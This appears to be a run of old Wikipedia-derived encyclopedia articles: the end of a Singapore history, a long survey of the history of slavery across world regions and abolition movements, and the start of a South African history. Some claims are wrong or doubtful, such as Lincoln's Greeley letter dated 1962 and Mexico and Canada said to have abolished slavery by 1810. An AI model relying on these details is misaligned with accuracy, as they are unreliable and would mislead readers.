          In 1990, Lee Kuan Yew passed the leadership rein to successor Goh Chok Tong who became the second prime minister of Singapore. Goh presented a more open and consultative style of leadership as the country continued to modernise. In 1997, Singapore experienced the effect of the Asian financial crisis and tough measures, such as cuts in the CPF contribution, were implemented.


          [bookmark: 2000_-_present]


          2000 - present


          In the early years of 2000s, Singapore went through some of its most serious post-independence crises, including the SARS outbreak in 2003 and the threat of terrorism. In December 2001, a plot to bomb embassies and other infrastructure in Singapore was uncovered and as many as 36 members of the militant Islamic group Jemaah Islamiyah were arrested under the Internal Security Act. Major counter-terrorism measures were put in place to detect and prevent potential terrorism acts and to minimise damages should they occur.


          In 2004, Lee Hsien Loong, the eldest son of Lee Kuan Yew, became the third prime minister of Singapore. He introduced several policy changes, including the reduction of national service duration from two and a half years to two years, and the legalisation of casino gambling. The general election of 2006 was a landmark election because of the prominent use of the internet and blogging to cover and comment on the election, circumventing the official media. The PAP returned to power, winning 82 of the 84 parliamentary seats and 66% of the votes.
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      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        History of slavery


        
          

          The history of slavery covers many different forms of human exploitation across many cultures and throughout humaninstitution.


          
            [image: Gustave Boulanger's painting The Slave Market.]

            
              Gustave Boulanger's painting The Slave Market.
            

          


          


          Europe and Mediterranean


          


          The ancient Mediterranean civilizations


          Slavery in the ancient cultures was known to occur in civilizations as old as Sumer, and found in every such civilization, including Ancient Egypt, the Akkadian Empire, Assyria, Greece, Rome, parts of the Roman Empire and the Islamic Caliphate. Such institutions were a mixture of debt-slavery, punishment for crime, the enslavement of prisoners of war, child abandonment, and the birth of slave children to slaves.


          Slavery was an important element in the development of the ancient Greek City-states. Records of slavery in Ancient Greece go as far back as Mycenaean Greece. The treatment of Greek slaves could be said to be harsh, but not extremely brutal.


          As Rome expanded outward, entire populations were enslaved, thus creating an ample supply. The people subjected to Roman Slavery came from all over Europe and the Mediterranean. Such oppression by an elite minority eventually led to slave revolts (see Roman Servile Wars); the Third Servile War led by Spartacus being the most famous and severe. Greeks, Africans, Germans, Thracians, Gauls (or Celts), Jews, Arabs, and many more were slaves used not only for labour, but also for amusement (e.g. gladiators). If a slave from Rome ran away, he was liable to be crucified. By the late Republican era, slavery had become a vital economic pillar in the wealth of Rome. Slavery was so common, the slaves in Rome far outnumbered Roman citizens.


          


          The Vikings


          In the Viking era starting c. 793, the Norse raiders often captured and enslaved their opponents. In the Nordic countries the slaves were called Thralls ( Old Norse: rll). The thralls were mostly from Western Europe, among them many Franks, Anglo-Saxons, and Celts. There is evidence of German and south European slaves as well. The Norse slavery came to an end with the breakthrough of christianity and national laws in the Scandinavian countries.


          


          Tudor, Stuart and Hanoverian England


          The trade in serfs in England was made illegal in 1102, and the last form of enforced servitude ( villeinage) had disappeared in Britain by the beginning of the seventeenth century. It resurfaced in that century as a form of punishment against Catholics (see Pre-industrial Europe, below). By the eighteenth century African slaves began to be brought into London and Edinburgh as personal servants. In a number of judicial decisions between slave merchants, it was tacitly accepted that slavery of Africans was legal.


          In 1729 the then-Attorney General and Solicitor General of England signed the Yorke-Talbot slavery opinion expressing their view (and, by implication, that of the Government) that slavery of Africans was lawful in England. At this time slaves were openly bought and sold on markets at London and Liverpool.


          However, in 1772 a runaway slave named James Somerset was recaptured, and various abolitionists brought legal proceedings demanding his release, forcing a legal decision for the first time under English law as to the legality of a slave's detention. One of Somerset's lawyers, Francis Hargrave, stated "In 1569, during the reign of Queen Elizabeth I, a lawsuit was brought against a man for beating another man he had bought as a slave overseas. The record states, 'That in the 11th [year] of Elizabeth [1569], one Cartwright brought a slave from Russia and would scourge him; for which he was questioned; and it was resolved, that England was too pure an air for a slave to breathe in.' " He argued that the court had ruled in Cartwright's case that English Common Law made no provision for slavery, and without a basis for its legality, slavery would otherwise be unlawful as false imprisonment and/or assault. In his judgment of 22 June 1772, Lord Chief Justice William Murray, Lord Mansfield, of the Court of King's Bench declared: "Whatever inconveniences, therefore, may follow from a decision, I cannot say this case is allowed or approved by the law of England; and therefore the black must be discharged." Several different reports of Mansfield's long deliberated, but ultimately very short, decision appeared, and most disagree as to what was actually said. The decision was only given orally, and so no formal written record of it was issued by the court. Abolitionists widely circulated the view that it was declared that the condition of slavery did not exist under English law, although Mansfield himself later said that all that he actually decided was that a slave could not be forcibly removed from England against his will.


          


          Pre-industrial Europe


          Item 20 of The Grand Remonstrance, a list of grievances against Charles I and presented to him in 1641, contains the following:


          
            	"20. And although all this was taken upon pretence of guarding the seas, yet a new unheard-of tax of ship-money was devised, and upon the same pretence, by both which there was charged upon the subject near 700,000 some years, and yet the merchants have been left so naked to the violence of the Turkish pirates, that many great ships of value and thousands of His Majesty's subjects have been taken by them, and do still remain in miserable slavery."

          


          In the 17th century, slavery was used as punishment by conquering English Parliament armies against native Catholics in Ireland. Between the years 1659 and 1663, during the Cromwellian conquest of Ireland by the New Model Army, under the command of Oliver Cromwell, thousands of Irish Catholics were forced into servitude! Cromwell had a deep dislike of the Catholic religion, and many Irish Catholics who had participated in Confederate Ireland had all their land confiscated and were transported to the British West Indies as indentured servants.


          The Church was later implicated in slavery. Slaves owned by the Anglican Church's Society for the Propagation of the Gospel in Foreign Parts on its sugar plantations in the West Indies had the word "society" branded on their chests with red-hot irons.


          When slaves were emancipated by Act of the British Parliament in 1834 the British Government paid compensation to slave owners. In one case the Bishop of Exeter and three business colleagues got compensation for the 665 slaves they had to set free.


          Recently ( 2006), Southwark Bishop Thomas Butler, at the Anglican Church's General Synod stated "The profits from the slave trade were part of the bedrock of our country's industrial development".


          In that time second serfdom took place in Eastern Europe during this period (particularly in Austria, Hungary, Prussia, Russia and Poland). Only in 1768 was a law passed in Poland that discontinued the nobility's control of the right to life or death of serfs. Serfdom remained the practice on the most part of territory of Russia until February 19, 1861. Some of the Roma people were enslaved over five centuries in Romania until abolition in 1864.


          Slavery in the French Republic was abolished on February 4, 1794.


          


          Modern Europe


          Between 1933 and 1945, the Nazi regime created many Arbeitslager ( labour camps) in Germany and Eastern Europe. Prisoners in Nazi labour camps were worked to death on short rations and in bad conditions, or killed if they became unable to work. Millions died as a direct result of forced labour under the Nazis.


          Between 1930 and 1960, the Soviet regime created many Lageria ( labour camps) in Siberia. Prisoners in Soviet labor camps were worked to death on extreme production quotas, brutality, hunger and harsh elements. Fatality rate was as high as 80% during the first months in many camps. Millions died as a direct result of forced labour under the Soviets.


          


          Slavery in Arabia, the Ottoman Empire and the Middle East


          The Arab world has traded in slaves like many other cultures of the region. It was one of the oldest slave trades, predating the European transatlantic slave trade by hundreds of years. The Arab or Middle Eastern slave trade is thought to have originated with trans-Saharan slavery. The Moors, starting in the 8th century, raided coastal areas of the Mediterranean and Northern European (including British and even as far north as Scandinavian) coastal areas and would carry away sometimes whole villages to the Moorish slave markets on the Barbary Coast. Nautical traders from the United States became targets, and frequent victims, of the Barbary pirates, as soon as that nation began trading with Europe and refused to pay the required tribute to the North African states. The slave trade from East Africa to Arabia was dominated by Arab and African traders in the coastal cities of Zanzibar, Dar Es Salaam and Mombasa.


          Male slaves were employed as servants, soldiers, or laborers by their owners, while female slaves, mostly from Africa, were long traded to Middle Eastern countries and kingdoms by Arab, Indian, or Oriental traders, some as female servants, others as sexual slaves. Arab, Indian, and Oriental traders were involved in the capture and transport of slaves northward across the Sahara desert and the Indian Ocean region into Arabia and the Middle East, Persia, and the Indian subcontinent. As many African slaves may have crossed the Sahara Desert, the Red Sea, and the Indian Ocean as crossed the Atlantic, perhaps more. Some sources estimate that between 11 and 17 million slaves crossed the Red Sea, Indian Ocean, and Sahara Desert from 650 to 1900, compared to 11.6 million across the Atlantic from 1500 to the late 1860s. The Arab or Middle Eastern slave trade continued into the early 1900s.


          Many Slavic males from the Balkans, and Turkic and Circassian males from the Caucasus Mountains and the eastern Black Sea regions were taken away from their homes and families and enlisted into special soldier classes of the army of the Ottoman Empire. These soldier classes were named Janissaries in the Balkans and Asia Minor, and Mamluks in Egypt. The Janissaries eventually became a decisive factor in the intrigues of the Istanbul court of the Ottoman sultans, while the Mamluks were mainly responsible for the expulsion of the Crusaders from Palestine and preventing the Mongols from entering Egypt.


          The Arab trade in slaves continued into the 20th century. Written travelogues and other historical works are replete with references to slaves owned by wealthy traders, nobility and heads of state in the Arabian Peninsula well into the 1920s. Slave owning and slave-like working conditions have been documented up to and including the present, in countries of the Middle East. Though the subject is considered taboo in the affected regions, a leading Saudi government cleric and author of the country's religious curriculum has called for the outright re-legalization of slavery .


          


          Slavery in Africa
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          French historian Fernand Braudel noted that slavery was endemic in Africa and part of the structure of everyday life. "Slavery came in different disguises in different societies: there were court slaves, slaves incorporated into princely armies, domestic and household slaves, slaves working on the land, in industry, as couriers and intermediaries, even as traders" (Braudel 1984 p. 435). During the 16th century, Europe began to outpace the Arab world in the export traffic, with its slave traffic from Africa to the Americas. The Dutch imported slaves from Asia into their colony in South Africa. Later, the United Kingdom, which held vast colonial territories on the African continent (including South Africa), made the practice of slavery illegal in these regions. Ironically, the end of the slave trade and the decline of slavery was imposed upon Africa by its European conquerors. This action is what today may be called an instance of cultural imperialism.


          The nature of the slave societies differed greatly across the continent. There were large plantations worked by slaves in Egypt, the Sudan and Zanzibar, but this was not a typical use of slaves in Africa as a whole. In some slave societies, slaves were protected and incorporated into the slave-owning family. In others, slaves were brutally abused, and even used for human sacrifices. Some of the slaves taken by the European slave trade were doubtless slave-owners themselves.


          


          Slavery in North Africa


          As practiced in ancient Egypt, slavery was not in accord with the modern view of the term. Persons became "slaves" in ancient Egypt by virtue of being captives (or prisoners) of war, committing criminal or other indecent acts, or indebtedness. In many instances, some peasants in ancient Egypt led better livelihoods as slaves than as free persons: some Egyptian peasants purposely sold themselves into slavery as a means of repaying their debts. Though slaves in ancient Egypt could be sold, inherited or offered as gifts, they were not prohibited from learning, achieving greater social rank, purchasing property or negotiating other contracts. One papyrus from the New Kingdom even records masters being testified against by slave witnesses. Slave children apparently enjoyed some authoritative protection, as a letter from the 18th dynasty records limits to their use for harsh labor, and Egyptian households further bore the responsibility of adequately raising children of slave parents. It's also worth mentioning that slaves were not as extensively used in ancient Egypt (Kemet) contrary to popular belief or the stories depicted in the Bible, one such measure is the recent archaeological discovery regarding the pyramids not being built by 'slaves'.


          In the 15th and 16th centuries slaves were imported from Europe to North Africa. Slave-taking persisted into the 19th century when Barbary pirates would capture ships and enslave the crew. In all, about 1.5 million Europeans were transported to the Barbary Coast. It was a period when Europe was preoccupied by sectarian wars and European navies were depleted. The trade was run by expelled Moors and the slaving expeditions were often captained by Europeans with North African crews. In the early 19th century, European powers started to take action to free Christian slaves. The first major action was the bombardment of Algiers in 1816.


          


          Slavery in Sub-Saharan Africa


          See African slave trade
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          Prior to the 16th century, the bulk of slaves exported from Africa were shipped from East Africa to the Arabian peninsula. Zanzibar became a leading port on this trade. Arab slave traders differed from European traders in that they would often conduct raiding expeditions themselves, sometimes penetrating deep into the continent. They also differed in that their market greatly preferred the purchase of female slaves over male slaves.


          The increased presence of European rivals along the East coast led Arab traders to concentrate on the overland slave caravan routes across the Sahara from the Sahel to North Africa. The German explorer Gustav Nachtigal reported seeing slave caravans departing from Kukawa in Bornu bound for Tripoli and Egypt in 1870. The slave trade represented the major source of revenue for the state of Bornu as late as 1898. Further south, the eastern regions of the Central African Republic have never recovered demographically from the impact of nineteenth-century raids from the Sudan and still have a population density of less than 1 person/km.


          The Middle Passage, the crossing of the Atlantic to the Americas, endured by slaves laid out in rows in the holds of ships, was only one element of the well-known triangular trade engaged in by Portuguese, Dutch, French and British. Ships having landed slaves in Caribbean ports would take on sugar, indigo, raw cotton, and later coffee, and make for Liverpool, Nantes, Lisbon or Amsterdam. Ships leaving European ports for West Africa would carry printed cotton textiles, some originally from India, copper utensils and bangles, pewter plates and pots, iron bars more valued than gold, hats, trinkets, gunpowder and firearms and alcohol. Tropical shipworms were eliminated in the cold Atlantic waters, and at each unloading, a profit was made.


          The Atlantic slave trade peaked in the late 18th century, when the largest number of slaves were captured on raiding expeditions into the interior of West Africa. These expeditions were typically carried out by coastal African kingdoms through more formal trade agreements with European traders or by slave raiding parties through more informal bounty agreements with European traders( To see Pedro Blanco). The people captured on these expeditions were shipped by European traders to the colonies of the New World. As a result of the War of Spanish Succession, the United Kingdom obtained the monopoly ( asiento de negros) of transporting captive Africans to Spanish America. It is estimated that over the centuries, twelve to twenty million people were shipped as slaves from Africa by European traders, of whom some 15 percent died during the terrible voyage, many during the arduous journey through the Middle Passage. The great majority were shipped to the Americas, but also went to Europe and the south of Africa.


          Some historians conclude that the total loss in persons removed, those who died on the arduous march to coastal slave marts and those killed in slave raids, far exceeded the 6575 million inhabitants remaining in Sub-Saharan Africa at the trade's end. Others believe that slavers had a vested interest in capturing rather than killing, and in keeping their captives alive; and that this coupled with the disproportionate removal of males and the introduction of new crops from the Americas ( cassava, maize) would have limited general population decline to particular regions of western Africa around 17601810, and in Mozambique and neighbouring areas half a century later. There has also been speculation that within Africa, females were most often captured as brides, with their male protectors being a "bycatch" who would have been killed if there had not been an export market for them.


          


          Modern Africa


          Slavery persists in Africa more than in all other continents. Slavery in Mauritania was legally abolished by laws passed in 1905, 1961, and 1981, but several human rights organizations are reporting that the practice continues there. The trading of children has been reported in modern Nigeria and Benin. In parts of Ghana, a family may be punished for an offense by having to turn over a virgin female to serve as a sex slave within the offended family. In this instance, the woman does not gain the title of "wife". In parts of Ghana, Togo, and Benin, shrine slavery persists, despite being illegal in Ghana since 1998. In this system of slavery, sometimes called trokosi (in Ghana) or voodoosi in Togo and Benin, or ritual servitude, young virgin girls are given as slaves in traditional shrines and are used sexually by the priests in addition to providing free labor for the shrine. In the Sudan, slavery continues as part of an ongoing civil war; see also the Slavery in Sudan article. Evidence emerged in the late 1990s of systematic slavery in cacao plantations in West Africa. See the chocolate and slavery article.


          


          Slavery in the Americas


          


          Slavery among indigenous people of America


          In Pre-Columbian Mesoamerica the most common forms of slavery were those of prisoners-of-war and debtors. People unable to pay back a debt could be sentenced to work as a slave to the person owed until the debt was worked off. Slavery was not usually hereditary; children of slaves were born free. In Tahuantinsuyu (or Inca Empire), workers were subject to a mita in lieu of taxes which they paid by working for the government. Each ayllu, or extended family, would decide which family member to send to do the work.


          


          Slavery in Brazil
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          During the colonial epoch, slavery was a mainstay of the Brazilian economy, especially in mining and sugar cane production.


          Brazil obtained 37% of all African slaves traded, and more than 3 million slaves were sent to this one country. Starting around 1550, the Portuguese began to trade African slaves to work the sugar plantations once the native Tupi people deteriorated. Although Portuguese Prime Minister Marqus do Pombal abolished slavery in mainland Portugal on the February 12th, 1761, slavery continued in her overseas colonies. The African slaves were useful for the sugar plantations in many ways. First, African slaves were less vulnerable to tropical diseases and to tropical conditions. Second, the benefits of the slaves far exceeded the costs. After 2-3 years, slaves worked off their worth, and plantation owners began to make profits from them. Plantation owners made lucrative profits even though there was approximately a 10% death rate per year, mainly due to harsh working conditions.


          The very harsh manual labour of the sugar cane fields saw slaves use hoes to dig large trenches. The slaves planted sugar cane in the trenches and then used their bare hands to spread manure. The average life span of a slave was eight years. Escaped slaves formed Maroon communities which played an important role in the histories of Brazil and other countries such as Suriname, Puerto Rico, Cuba, and Jamaica. In Brazil the Maroon villages were called palenques or quilombos. Maroons survived by growing vegetables and hunting. They also raided plantations. At these attacks, the maroons would burn crops, steal livestock and tools, kill slavemasters, and invite other slaves to join their communities.


          In the mid to late 19th century, many Amerindians were enslaved to work on rubber plantations. See I?? for more information.


          The Clapham Sect, a group of evangelical reformers, campaigned during much of the 19th century for the United Kingdom to use its influence and power to stop the traffic of slaves to Brazil. Besides moral qualms, the low cost of slave-produced Brazilian sugar meant that British colonies in the West Indies were unable to match the market prices of Brazilian sugar, and each Briton was consuming 16 pounds (7 kg) of sugar a year by the 19th century. This combination led to intensive pressure from the British government for Brazil to end this practice, which it did by steps over several decades.


          First, foreign slave trade was banned in 1850. Then, in 1871, the sons of the slaves were freed. In 1885, the slaves aged over 60 years were freed. The Paraguayan War contributed to end slavery, since slaves enlisted in exchange for freedom.(In Colonial Brazil, slavery was more a social than a racial condition. In fact, some of the greatest figures of the time, like the writer Machado de Assis and the engineer Andr Rebouas had black ancestry).


          Brazil's 1877-78 Grande Seca (Great Drought) in the cotton-growing northeast, led to major turmoil, starvation, poverty and internal migration. As wealthy plantation holders rushed to sell their slaves south, popular resistance and resentment grew, inspiring numerous emancipation societies. They succeeded in banning slavery altogether in the province of Ceara by 1884. (Mike Davis, Late Victorian Holocausts, 88-90) Slavery was legally ended nationwide on May 13 by the Lei Aurea ("Golden Law") of 1888. In fact, it was an institution in decadence at these times (Since the 1880's the country began to use European imigrant labor instead) . Brazil was the last nation in the Western Hemisphere to abolish slavery.


          However, in 2004 the government acknowledged to the United Nations that at least 25,000 Brazilians work under conditions "analogous to slavery." The top anti-slavery official in Brasilia, the capital, puts the number of modern slaves at 50,000.


          


          Slavery in the British and French Caribbean


          Slavery was commonly used in the parts of the Caribbean controlled by France and the British Empire. The Lesser Antilles islands of Barbados, St. Kitts, Antigua, Martinique and Guadeloupe, which were the first important slave societies of the Caribbean, began the widespread use of African slaves by the end of the 17th century, as their economies converted from tobacco to sugar production.


          The slaves were treated terribly, often beaten and raped. They had such miserable lives that death was considered a welcome release.


          By the middle of the 18th century, British Jamaica and French Saint-Domingue had become the largest slave societies of the region, rivaling Brazil as a destination for enslaved Africans. Due to overwork, the death rates for Caribbean slaves were greater than birth rates. The conditions led to increasing numbers of slave revolts, escaped slaves forming Maroon communities and fighting guerrilla wars against the plantation owners, campaigns against slavery in Europe, and the abolition of slavery in the European empires.


          


          Slavery in North America


          Main Articles: Slavery in Colonial America, Slavery in Canada, History of slavery in the United States, Atlantic slave trade


          The first slaves used by Europeans in United States territory were among Lucas Vsquez de Aylln's colonization attempt of North Carolina in 1526. The attempt was a failure, lasting only one year and the slaves revolted and fled into the wilderness to live among the Cofitachiqui people.


          The first historically significant slave in what would become the United States was Estevanico, a Moroccan slave and member of the Narvez expedition in 1528 and acted as a guide on Fray Marcos de Niza's expedition to find the Seven Cities of Gold in 1539.


          In 1619 twenty Africans were brought by a Dutch soldier and sold to the English colony of Jamestown, Virginia as indentured servants. The transformation from indentured servitude to racial slavery happened gradually. It wasn't until 1661 that a reference to slavery entered into Virginia law, directed at Caucasian servants who ran away with a black servant. It wouldn't be until the Slave Codes of 1705 that the status of African Americans as slaves would be sealed. This status would last for another 160 years, until after the end of the American Civil War with the ratification of the 13th Amendment in December 1865.


          


          Return of slavery to British law


          
            	1642: Massachusetts becomes the first colony to legalize slavery.


            	1650: Connecticut legalizes slavery.


            	1661: Virginia officially recognizes slavery by statute.


            	1662: A Virginia statute declares that children born would have the same status as their mother.


            	1663: Maryland legalizes slavery.


            	1664: Slavery is legalized in New York and New Jersey.

          


          


          Development of slavery


          The first imported Africans were brought as indentured servants, not slaves. They were required, as white indentured servants were, to serve seven years. Many were brought to the British North American colonies, specifically Jamestown, Virginia in 1620. However, the slave trade did not immediately expand in North America. Mexico and Canada had completely abolished slavery by 1810.


          Slavery under European rule began with importation of European indentured labourers, was followed by the enslavement of indigenous peoples in the Caribbean, and eventually was primarily replaced with Africans imported through a large slave trade, the cost being around 105 American dollars.


          The shift from indentured servants to African slaves was prompted by a dwindling class of former servants who had worked through the terms of their indentures and thus became competitors to their former masters. These newly freed servants were rarely able to support themselves comfortably, and the tobacco industry was increasingly dominated by large planters. This caused domestic unrest culminating in Bacon's Rebellion. Eventually, chattel slavery became the norm in regions dominated by plantations.


          Many slaves were owned by plantation owners who lived in Britain. The British courts had made a series of contradictory rulings on the legality of slavery which encouraged several thousand slaves to flee the newly-independent United States as refugees along with the retreating British in 1783. The British courts having ruled in 1772 that such slaves could not be forcibly returned to North America (see James Somersett and Somersett's Case for a review of the Somerset Decision), the British Government resettled them as free men in Sierra Leone.
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          Several slave rebellions took place during the 17th and 18th centuries.


          Through the Northwest Ordinance of 1787 (also known as the Freedom Ordinance) under the Continental Congress, slavery was prohibited in the territories north of the Ohio River. In the East, though, slavery was not abolished until later. The importation of slaves into the United States was banned on January 1, 1808; but not the internal slave trade, or involvement in the international slave trade externally.


          Aggregation of northern free states gave rise to one contiguous geographic area, north of the Ohio River and the old Mason-Dixon line. This separation of a free North and an enslaved South launched a massive political, cultural and economic struggle.


          Refugees from slavery fled the South across the Ohio River to the North via the Underground Railroad, and their presence agitated Northerners. Midwestern state governments asserted States Rights arguments to refuse Federal jurisdiction over fugitives. Some juries exercised their right of jury nullification and refused to convict those indicted under the Fugitive Slave Act of 1850.


          The Dred Scott decision of 1857 asserted that one could take one's property anywhere (Even if one's property was chattel and one crossed into a free territory). It also asserted that African Americans could not be citizens, as many Northern states granted blacks citizenship, who (in some states) could even vote. This was an example of Slave Power, the plantation aristocracy's attempt to control the North. This turned Northern public opinion even further against slavery. After the passage of the Kansas-Nebraska Act, armed conflict broke out in Kansas Territory, where the question of whether it would be admitted to the Union as a slave state or a free state had been left to the inhabitants. The radical abolitionist John Brown was active in the mayhem and killing in " Bleeding Kansas." Anti-slavery legislators took office under the banner of the Republican Party.


          In the election of 1860, the Republicans swept Abraham Lincoln into the Presidency (with only 39.8% of the popular vote) and legislators into Congress. Lincoln however, did not appear on the ballots in most southern states and his election split the nation along sectional lines. After decades of controlling the Federal Government, the Southern states seceded from the U.S. (the Union) to form the Confederate States of America.


          Northern leaders like Lincoln viewed the prospect of a new Southern nation, with control over the Mississippi River and the West, as unacceptable. This led to the outbreak of the Civil War.


          The Civil War spelled the end for chattel slavery in America. However, in August of 1962 Lincoln replied to editor Horace Greeley stating his objective was to save the Union and not to either save or destroy slavery. He went on to say that if he could save the Union without freeing a single slave, he would do it. Lincoln's Emancipation Proclamation of 1863 was a reluctant gesture, that proclaimed freedom for slaves within the Confederacy, although not those in strategically important Border states or the rest of the Union. However, the proclamation made the abolition of slavery an official war goal and it was implemented as the Union captured territory from the Confederacy. Slaves in many parts of the south were freed by Union armies or when they simply left their former owners. Many joined the Union Army as workers or troops, and many more fled to Northern cities.


          Legally, slaves within the United States remained enslaved until the final ratification of the Thirteenth Amendment to the Constitution on December 6, 1865 (with final recognition of the amendment on December 18), eight months after the cessation of hostilities. Only in the Border state of Kentucky did a significant slave population remain by that time.


          After the failure of Reconstruction, freed slaves in the United States were treated as second class citizens. For decades after their emancipation, many former slaves living in the South sharecropped and had a low standard of living. In some states, it was only after the civil rights movement of the 1950s and 60s that blacks obtained legal protection from racial discrimination (see segregation).


          Although slavery has been illegal in the United States for nearly a century and a half, the United States Department of Labor occasionally prosecutes cases against people for false imprisonment and involuntary servitude. These cases often involve illegal immigrants who are forced to work as slaves in factories to pay off a debt claimed by the people who transported them into the United States. Other cases have involved domestics.


          


          Slavery in Asia


          


          South Asia


          The Greek historian Arrian writes in his book Indica:


          
            	"This also is remarkable in India, that all Indians are free, and no Indian at all is a slave. In this the Indians agree with the Lacedaemonians. Yet the Lacedaemonians have Helots for slaves, who perform the duties of slaves; but the Indians have no slaves at all, much less is any Indian a slave."

          


          Though any formalised slave trade has not existed in South Asia, unfree labour has existed for centuries in the Medieval ages, in different forms. The most common forms have been kinds of bonded labour. During the epoch of the Mughals, debt bondage reached its peak, and it was common for money lenders to make slaves of peasants and others who failed to repay debts. Under these practices, more than one generation could be forced into unfree labour; for example, a son could be sold into bonded labour for life to pay off the debt, along with interest.


          Arab slave traders also brought slaves as early as the first century AD from Africa. Most of the African slaves were brought however in the 17th century and were taken into Western India.


          Much of the northern and central parts of the subcontinent was ruled by the so-called Slave Dynasty of Turkic origin from 1206-1290: Qutb-ud-din Aybak, a slave of Muhammad Ghori rose to power following his master's death. For almost a century, his descendants ruled presiding over the introduction of Tankas and building of Qutub Minar.


          


          China


          Slavery in China has repeatedly come in and out of favour. Due to the enormous population of the region throughout most of her history, China has relatively had an almost unlimited workforce of cheap labor. Thus, the economy would naturally rely on a system of serfdom, slavery, or a combination of both.


          


          Japan


          Slavery in Japan was, for most of its history, indigenous, since the export and import of slaves was restricted by Japan being a group of islands. The export of a slave from Japan is recorded in 3rd century Chinese history, although the system involved is unclear. These slaves were called seiko (生口, seiko ?), lit. "living mouth".


          In the 8th century, a slave was called nuhi (奴婢, nuhi ?) and series of laws on slavery was issued. In an area of present-day Ibaraki Prefecture, out of a population of 190,000, around 2,000 were slaves; the proportion is believed to have been even higher in western Japan.


          By the time of the Sengoku period (1467-1615), the attitude that slavery was anachronistic had become widespread. In a meeting with Catholic priests, Oda Nobunaga was presented with a black slave, the first recorded encounter between a Japanese and an African. In 1588, Toyotomi Hideyoshi ordered all slave trading to be abolished. This was continued by his successors.


          As the Empire of Japan annexed Asian countries, from the late 19th century onwards, archaic institutions including slavery were abolished in those countries. However, during the Pacific War of 1937-45, the Japanese military used hundreds of thousands of civilians and prisoners of war as forced labour, on projects such as the Burma Railway. (For further details, see Japanese war crimes.)


          


          Korea


          Indigenous slaves existed in Korea. It is widely known that the last names "Bang", "Ji", and "Chuk" are recognizable as last names having once been given to slaves. Slavery was officially abolished with the Gabo Reform of 1894.


          


          Aotearoa / New Zealand


          In traditional Māori society, prisoners of war became slaves, (unless released, ransomed or tortured). With some exceptions, the child of a slave remained a slave. As far as it is possible to tell slavery seems to have increased in the early Nineteenth century, as a result of increased numbers of prisoners being taken by Māori military leaders such as Hongi Hika and Te Rauparaha in the Musket Wars, the need for labour to supply whalers and traders with food, flax and timber in return for western goods and missionary condemnation of cannibalism. Slavery was outlawed on English Annexation of New Zealand in 1840, immediately prior to the signing of the Treaty of Waitangi, although it did not end completely until government was effectively extended over the whole of the country with the defeat of the King movement in the New Zealand Wars of the mid 1860s.
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          Middle East


          Children as young as two years old are used for slavery as child camel jockeys across the Arab countries of the Middle East. Though strict laws have been introduced recently in Qatar and UAE - thanks to better awareness of the issue and lobbying by human rights organisations such as the Ansar Burney Trust - the use of children still continues in the far flung areas and during secret night time races.


          


          Abolitionist movements


          Slavery has existed, in one form or another, through the whole of human history. So, too, have movements to free large or distinct groups of slaves. Moses led Israelite slaves from ancient Egypt according to the Biblical Book of Exodus - possibly the first detailed account of a movement to free slaves. However, abolitionism should be distinguished from efforts to help a particular group of slaves, or to restrict one practice, such as the slave trade.


          In 1772, a legal case concerning James Somersett made it illegal to remove a slave from England against his will. A similar case, that of Joseph Knight, took place in Scotland five years later and ruled slavery to be contrary to the law of Scotland.


          Following the work of campaigners in the United Kingdom, the Act for the Abolition of the Slave Trade was passed by Parliament on March 25, 1807. The act imposed a fine of 100 for every slave found aboard a British ship. The intention was to outlaw entirely the slave trade within the whole British Empire.


          The Slavery Abolition Act, passed on August 23, 1833, outlawed slavery itself in the British colonies. On August 1, 1834 all slaves in the British Empire were emancipated, but still indentured to their former owners in an apprenticeship system which was finally abolished in 1838.
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          There were slaves in mainland France, but the institution was never fully authorized there. However, slavery was vitally important in France's Caribbean possessions, especially Saint-Domingue. In 1793, unable to repress the massive slave revolt of August 1791 that had become the Haitian Revolution, the French Revolutionary commissioners Sonthonax and Polverel declared general emancipation. In Paris, on February 4, 1794, Abb Grgoire and the Convention ratified this action by officially abolishing slavery in all French territories. Napoleon sent troops to the Caribbean in 1802 to try to re-establish slavery. They succeeded in Guadeloupe, but the ex-slaves of Saint-Domingue defeated the French army and declared independence. The colony became Haiti, the first black republic, on January 1, 1804.


          Sierra Leone was established as a country for former slaves of the British Empire in Africa. Liberia served an analogous purpose for American slaves. The goal of the abolitionists was repatriation of the slaves to Africa. Also some trade unions did not want the cheap labour of former slaves around. Nevertheless, most former slaves stayed in America.


          Slaves in the United States who escaped ownership would often make their way north to Canada via the " Underground Railroad". Famously active abolitionists of the U.S. include Harriet Tubman, Nat Turner, Frederick Douglass and John Brown. Slavery was abolished in the United States in 1865.


          The 1926 Slavery Convention, an initiative of the League of Nations, was a turning point in banning global slavery. Article 4 of the Universal Declaration of Human Rights, adopted in 1948 by the UN General Assembly, explicitly banned slavery. The United Nations 1956 Supplementary Convention on the Abolition of Slavery was convened to outlaw and ban slavery worldwide, including child slavery. In December 1966, the UN General Assembly adopted the International Covenant on Civil and Political Rights, which was developed from the Universal Declaraction of Human Rights. Article 8 of this international treaty bans slavery. The treaty came into force in March 1976 after it had been ratified by 35 nations. As of November 2003, 104 nations had ratified the treaty.


          Slavery is defined as a crime against humanity by a French law of 2001.


          



          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_slavery"
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          The history of South Africa is marked by migration, ethnic conflict, and the anti-Apartheid struggle. The Khoisan peoples are the aboriginal people of the region who have lived there for millennia. Black South Africans are believed to originate from the Great Lakes region of Africa in prehistoric times. White South Africans, descendants of later European migrations, regard themselves equally as products of South Africa, as do South Africa's Coloureds, Indians, Asians, and Jews.


          


          Ancient history


          


          The Bushmen


          Some three million years ago, ape-human-like hominids migrated to South Africa. Around a million years ago, homo erectus gradually replaced them. The first homo sapiens (modern humans) appeared around 100,000 years ago, and formed the so-called Bushman culture of hunter-gatherers possibly between 40,000 and 25,000 years ago.


          Beginning around 500 BCE, some Bushman groups acquired livestock from further south. Gradually, hunting and gathering gave way to herding as the dominant economic activity as these Bushmen tended to small herds of cattle and oxen. The arrival of livestock introduced concepts of personal wealth and property- ownership into Bushman society. Community structures solidified and expanded, and chieftaincies developed. These pastoralist Bushmen became known as Khoikhoi ('men of men'), as opposed to the still hunter-gatherer Bushmen, whom the Khoikhoi referred to as San. At the point where the two groups became intermarried, mixed and hard to tell apart, the term Khoisan arose. Over time the Khoikhoi established themselves along the coast, while small groups of Bushmen continued to inhabit the interior.


          


          Bantu expansion


          Around 2,500 years ago Bantu peoples migrated into Southern Africa from the Niger River Delta. The Bushmen and the Bantu lived mostly peacefully together, although since neither had any method of writing, researchers know little of this period outside of archaeological artifacts.


